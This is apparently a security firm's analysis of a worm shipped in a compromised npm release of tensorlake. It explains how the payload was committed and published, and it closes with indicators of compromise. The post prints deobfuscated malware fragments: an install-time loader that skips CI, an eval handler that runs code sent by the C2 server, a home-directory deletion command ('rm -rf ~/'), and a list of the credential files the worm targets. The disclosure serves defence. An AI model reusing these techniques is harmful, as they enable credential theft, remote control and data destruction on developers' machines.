---
title: "tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud"
description: "tensorlake@0.5.144 on npm ran a Mini Shai-Hulud worm at install. A maintainer account committed the payload through the GitHub web interface, and the official release workflow published it."
url: "https://safedep.io/blog/tensorlake-npm-compromise-mini-shai-hulud"
author: "Kunal Singh"
published: "2026-10-08"
---

# tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud

We found a credential-stealing worm in `tensorlake@0.5.144`. It runs on install, and npm was serving
it as `latest` for a package with about 106,000 monthly downloads.

npm records the publish at 01:12:07 UTC. SafeDep's automated analysis flagged it at 01:20 UTC
(6:50 AM IST), eight minutes later.

![SafeDep automated monitoring alert for tensorlake@0.5.144. The alert lists the new preinstall hook,
the Bun download, the Math_Symbol.js worm and its build tag, credential theft, the C2
domain and Ethereum contract, gh-token-monitor persistence, the injected workflow and hooks, and
the setup.mjs SHA-256 hash.](https://safedep.io/_next/static/immutable/media/tensorlake-malysis-monitor-alert.2593opt6wt6ez.png)

The payload is a new build of Mini Shai-Hulud, the 2026 wave of the Shai-Hulud worm family. It is
the same worm as in the [keyv and cacheable compromise](https://safedep.io/blog/keyv-npm-supply-chain-compromise).

- **Steals** cloud, GitHub, npm, SSH, browser, and wallet credentials.
- **Spreads** through npm packages and GitHub repositories.
- **Runs remote code** from its command-and-control (C2) server.
- **Deletes the home directory** on some machines when someone revokes the stolen GitHub token.

npm removed the version. The maintainers reverted the source in
[pull request #1016](https://github.com/tensorlakeai/tensorlake/pull/1016) and released `0.5.145`.

## What is new in this build

- A hard-coded C2 domain, `iseekaigogo[.]com`.
- A new Ethereum contract for C2 domain lookup.
- A browser password stealer.
- A remote code channel that runs C2 responses with `eval`.
- A known deletion handler, `rm -rf ~/`. The keyv analysis could not name it.

## How the payload reached npm

The attacker did not need an npm token. They used a repository administrator account to commit
the payload to `main` through the GitHub web interface. Then they ran the project's own release
workflow.

| Time, 2026-10-07 UTC | Commit                                                                                                   | Change                                                              |
| -------------------- | -------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------- |
| 01:20:15             | [`e90c47bb`](https://github.com/tensorlakeai/tensorlake/commit/e90c47bbb208e99cac8aa678405b2133f6cb3f52) | Adds `typescript/lib/setup.mjs` and `typescript/lib/Math_Symbol.js` |
| 01:24:19             | [`c79bc475`](https://github.com/tensorlakeai/tensorlake/commit/c79bc475544311ca3ae8e3628ec30a9b2c9b2d6b) | Adds the `preinstall` script                                        |
| 01:43:23             | [`ad5cf5a7`](https://github.com/tensorlakeai/tensorlake/commit/ad5cf5a7a568fe0590c7cf833fe25090f468410a) | Repairs the `package.json` syntax                                   |
| 02:13 to 03:44       | `066b9d75`, `936302da`, `2ca2a7f1`, `41b38f09`                                                           | Four revisions of the loader and one payload rebuild                |
| 03:57:54             | [`e65ed94a`](https://github.com/tensorlakeai/tensorlake/commit/e65ed94ac9d3443a5cb899fb6631a82bcd31b733) | Sets the version to `0.5.144`                                       |

GitHub signs web interface commits, so all eight show as verified. The first `preinstall` edit
broke the JSON:

```diff title="typescript/package.json @ c79bc475"
     "lint": "eslint src/ tests/",
     "prepack": "npm run build"
+    "preinstall": "node lib/setup.mjs"
   },
```

The fix came 19 minutes later. This suggests a person who edited files in a browser (inference).

On 8 October at 00:08 UTC, the account started
[`publish_npm.yaml`](https://github.com/tensorlakeai/tensorlake/actions/runs/37706134202) by hand.
The build log shows the payload files in the tarball:

```text title="Publish to npm job, run 37706134202"
npm notice 856.5kB lib/Math_Symbol.js
npm notice 4.1kB lib/runtime.cjs
npm notice 32.6kB lib/setup.mjs
npm notice shasum: 843a898ab72793568d77c53ff9282e6ce7c66aea
npm notice Publishing to https://registry.npmjs.org/ with tag latest and public access
```

- The release used npm trusted publishing.
- The sibling `tensorlake-native-*@0.5.144` packages carry valid SLSA provenance for this run.
  The provenance is valid for a build of poisoned source.
- The `preinstall` hook ran in this job and ended in 0.1 seconds. The loader skips CI, so the
  payload probably did not run on the runner (inference).

## The loader

The shipped `lib/setup.mjs` uses RC4 string obfuscation. The worm carries a plain copy of it, which it plants in other
packages and repositories:

```js title="Embedded loader in lib/Math_Symbol.js, decrypted"
const V = '1.3.13';
const E = 'Math_Symbol.js';

/** Maintainer CI (GHA/GitLab/…) must not run stage2 — blocks `npm ci` for entire release matrix. */
function skipInstallHook() {
  const ci = process.env.CI;
  if (ci === 'true' || ci === '1') return true;
  if (process.env.GITHUB_ACTIONS === 'true') return true;
  if (process.env.GITLAB_CI === 'true') return true;
  if (process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
  return false;
}
// ...
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
```

- It downloads Bun 1.3.13 from the official GitHub release.
- It runs `Math_Symbol.js` with Bun.
- It exits on CI runners.

The shipped `setup.mjs` decodes to the same strings.

## The payload

`lib/Math_Symbol.js` is 856,501 bytes. Its first line names the build:

```js title="lib/Math_Symbol.js, first line"
globalThis.WORMTAG = 'tensrlake';
```

Three layers hide the code:

- An obfuscator string array hides identifiers.
- A custom cipher hides configuration strings. It uses salt `svksjrhjkcejg`, the same as keyv.
- AES-256-GCM hides eleven embedded files, including scripts, hooks, and two RSA public keys.

All layers decode without running the sample. An earlier 849,332-byte build in the commit
history has the same configuration.

## Command and control

Snippets below are deobfuscated and keep the original identifiers.

```js title="lib/Math_Symbol.js, C2 configuration (deobfuscated)"
((_0x42f92a = 'router'), (_0x41631a = 0x1bb), (_0x41767b = 'iseekaigogo.com'));
```

The worm posts data to `hxxps://iseekaigogo[.]com:443/router`. If that fails, it tries:

1. **Ethereum.** It reads contract `0xb614155Fd88114d40549b259457Bcf921Df091B9` through 35 public
   RPC endpoints. On 8 October the contract returned `iseekaigogo.com`.
2. **Signed GitHub commits.** It searches for `thebeautifulmarchoftime` and trusts only commits
   signed with an embedded RSA key.
3. **Dead-drop repositories.** It commits encrypted data to new public repositories with the
   description `Shai-Hulud: Here We Go Again`.

Every C2 response can carry code. The worm runs it:

```js title="lib/Math_Symbol.js, applyRemoteCode (deobfuscated)"
["applyRemoteCode"](_0x3cb209) {
  let _0x5b9a01;
  try { _0x5b9a01 = JSON["parse"](_0x3cb209); } catch { return; }
  if (typeof _0x5b9a01["code"] !== "string" || _0x5b9a01["code"]["length"] === 0x0) return;
  try { eval(_0x5b9a01["code"]); } catch (_0x1b02b9) { ... }
}
```

After exfiltration, the worm pings the C2 every 45 to 90 seconds and runs any code it gets back.

## What it collects

| Collector         | Targets                                                                                                                                |
| ----------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| File system       | SSH keys, cloud CLI files, `.npmrc`, `.env`, Docker and Kubernetes files, `~/.claude.json`, `~/.kiro/settings/mcp.json`, shell history |
| Wallets           | `wallet.dat` files, Exodus, Electrum, Ledger Live, and browser wallet extensions such as MetaMask and Phantom                          |
| Browser passwords | A binary from `hxxps://iseekaigogo[.]com/hbd/<platform>`                                                                               |
| AWS               | STS, SSM Parameter Store, and Secrets Manager                                                                                          |
| GitHub Actions    | Secrets read from `Runner.Worker` process memory                                                                                       |
| Kubernetes, Vault | Service-account tokens and Vault tokens                                                                                                |

The browser binary runs as `dump -b all -c password -f json`. These arguments match
HackBrowserData (inference, the binary was not recovered). The worm exits on Russian locales.

## The deletion watcher

The watcher arms only for stolen tokens whose account has no organizations:

```js title="lib/Math_Symbol.js, organization check (deobfuscated)"
if ((_0x392a9f['ok'] ? await _0x392a9f['json']() : [])['length'] === 0x0)
  (_0x990158['log']('No orgs - handling.'), _0x361712['setIncludeToken'](!0x0));
```

```js title="lib/Math_Symbol.js, deletion handler (deobfuscated)"
let _0x43c4c7 = process["platform"] === "win32" ? "Remove-Item -LiteralPath $env:USERPROFILE -Recurse -Force" : "rm -rf ~/";
(await this["installTokenMonitor"](this["token"], _0x43c4c7), ...);
```

- `gh-token-monitor` checks the token every 60 seconds for 24 hours.
- If GitHub returns 40x, for example after revocation, it deletes the home directory.
- It runs as a systemd user service, a macOS LaunchAgent, or a Windows scheduled task.

**Remove `gh-token-monitor` before you revoke GitHub tokens.**

## Propagation

- **npm tokens.** It adds the payload and `preinstall` to every package the token can publish,
  bumps the patch version, and publishes.
- **npm trusted publishing.** In CI, it adds a git dependency and signs the package with Fulcio and Rekor.
- **GitHub tokens.** It commits Claude Code and VS Code hooks as author `claude`. It also plants a
  `Run Copilot` workflow that dumps all repository secrets, then deletes the run and branch.

The hook files and workflow match the [keyv post](https://safedep.io/blog/keyv-npm-supply-chain-compromise). See also
[configuration files that run code](https://safedep.io/blog/config-files-that-run-code).

Two bugs in the code may limit spread:

- The npm path needs `./dist/Math_Symbol.js` on disk and stops without it.
- The planted loader looks for `ai_init.js`, but the worm writes `math_init.js`.

## Indicators of compromise

| Type                                 | Value                                                                                                            |
| ------------------------------------ | ---------------------------------------------------------------------------------------------------------------- |
| Package                              | `tensorlake@0.5.144`, removed from npm                                                                           |
| Tarball SHA-1                        | `843a898ab72793568d77c53ff9282e6ce7c66aea`                                                                       |
| `lib/setup.mjs`, 32,645 bytes        | `25a0735d0db7dc40e5d45ce42d9c106067e6a66e184d967cfecfab17c3bcb5ef`                                               |
| `lib/Math_Symbol.js`, 856,501 bytes  | `b50a00900399ba99fb6ce1fc151519cb99d44320ef2a631f2237e1aea0ad6fec`                                               |
| Earlier payload build, 849,332 bytes | `03aa53f01b5b0fc4899c44041da90d7c5aa29fd90e4d99a5b70270f672ee43e1`                                               |
| Build tag                            | `WORMTAG='tensrlake'`                                                                                            |
| C2 domain                            | `iseekaigogo[.]com`, paths `/router` and `/hbd/`                                                                 |
| Ethereum contract                    | `0xb614155Fd88114d40549b259457Bcf921Df091B9`, selector `0x53ed5143`                                              |
| Fallback search string               | `thebeautifulmarchoftime`                                                                                        |
| Source commits                       | `e90c47bb` through `6386121c` in `tensorlakeai/tensorlake`                                                       |
| Persistence                          | `gh-token-monitor.service`, `com.user.gh-token-monitor`, scheduled task `gh-token-monitor`                       |
| Persistence files                    | `~/.local/bin/gh-token-monitor.sh`, `~/.config/gh-token-monitor/`, `%LOCALAPPDATA%\gh-token-monitor\monitor.ps1` |
| Lock file                            | `tmp.ts018051808.lock` in the temporary directory                                                                |
| Dead-drop description                | `Shai-Hulud: Here We Go Again`                                                                                   |
| Planted branch                       | `dependabot/github_actions/format/setup-formatter`                                                               |

## References

- [tensorlakeai/tensorlake pull request #1016](https://github.com/tensorlakeai/tensorlake/pull/1016)
- [Release workflow run 37706134202](https://github.com/tensorlakeai/tensorlake/actions/runs/37706134202)
- [Payload commit `41b38f09`](https://github.com/tensorlakeai/tensorlake/tree/41b38f09a906fad6cdbbb1e02ec4e1595a7572a0/typescript/lib)
- [keyv and cacheable npm compromise](https://safedep.io/blog/keyv-npm-supply-chain-compromise)
- [Inside the Miasma supply chain attack toolkit](https://safedep.io/blog/inside-the-miasma-supply-chain-attack-toolkit)
- [npm package page](https://www.npmjs.com/package/tensorlake)
